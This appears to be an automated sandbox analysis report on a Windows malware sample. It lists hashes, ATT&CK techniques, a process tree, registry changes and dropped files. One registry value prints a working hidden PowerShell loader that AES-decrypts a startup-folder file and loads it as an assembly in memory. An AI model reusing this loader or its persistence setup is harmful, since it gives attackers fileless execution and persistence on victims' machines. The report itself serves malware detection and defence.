22c221710c9492fc848dbc20ee8833a30648c07a9a7d011511820d751a4117db

General

Target

7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe
Size

274.0MB
MD5

b7a056258d8a9fdf06367d54b45e84b3
SHA1

7c75a2df3b88791e83ec0dfd3a023f6e8ec7361c
SHA256

7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1
SHA512

8c5ce936341b98337c3ec8365d2a3f0cf1e3a2c0dd80f1f141828e84debbcc51455042ceb9d77b850abb55debfd0d272e3fae4e9a7c102fecc85a396fd551c57

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4928	Uistqmafsp.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PuiEVeApAzNmQzwHIjxHoydqdvbqbg.eksVWMNgXDIFdgdapaLKxuwjCfP	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\oqkvwcedvouinoamksxamcayun	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\oqkvwcedvouinoamksxamcayun\shell	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\oqkvwcedvouinoamksxamcayun\shell\open	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\oqkvwcedvouinoamksxamcayun\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('LJKj/I6zYa4yZ3t0p+dd+d0UQspPa3dzwPAxECsBT9w=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxQdWlFVmVBcEF6Tm1RendISWp4SG95ZHFkdmJxYmcuZWtzVldNTmdYRElGZGdkYXBhTEt4dXdqQ2ZQ'))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[lsR4unWlHlZcy99u0HQD4AyayUWTfaNQc_vzSiHFWGypRYC_fZeOuONtkh90w4rQ52Uyqt4q7kUxs4TsZqx.BSuibP9GCsOqJco2OYB1FmBHktN2HYFEuB1dTyGSaorZnfuLlPIl1WHkb0c75jxTivaECq2DyLFWn0cJyQiOvgx]::W5LOGcqkFUzLXQTZ();\""	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\.eksvwmngxdifdgdapalkxuwjcfp	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\.eksvwmngxdifdgdapalkxuwjcfp\ = "oqkvwcedvouinoamksxamcayun"	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe
Key created	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\oqkvwcedvouinoamksxamcayun\shell\open\command	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2260	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2260	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4944 wrote to memory of 4928	4944	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe	80
PID 4944 wrote to memory of 4928	4944	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe	80
PID 4944 wrote to memory of 4928	4944	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe	80
PID 4944 wrote to memory of 2260	4944	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe	81
PID 4944 wrote to memory of 2260	4944	7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe	81

C:\Users\Admin\AppData\Local\Temp\7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe
"C:\Users\Admin\AppData\Local\Temp\7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Users\Admin\AppData\Local\Temp\Uistqmafsp.exe
  "C:\Users\Admin\AppData\Local\Temp\Uistqmafsp.exe"
  2⤵
  - Executes dropped EXE
  PID:4928
- C:\Users\Admin\AppData\Local\Temp\7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe
  "C:\Users\Admin\AppData\Local\Temp\7c213efd427bc3a594a4d794cbb40b63ce8a3e3dc19312011cb7ddbf60811da1.exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Uistqmafsp.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
C:\Users\Admin\AppData\Local\Temp\Uistqmafsp.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/2260-136-0x00007FFA042A0000-0x00007FFA04D61000-memory.dmp

Filesize
10.8MB

Download
memory/2260-137-0x0000024855BF0000-0x0000024855C12000-memory.dmp

Filesize
136KB

Download
memory/4944-130-0x000002025F040000-0x000002025F28C000-memory.dmp

Filesize
2.3MB

Download
memory/4944-131-0x00007FFA042A0000-0x00007FFA04D61000-memory.dmp

Filesize
10.8MB

Download

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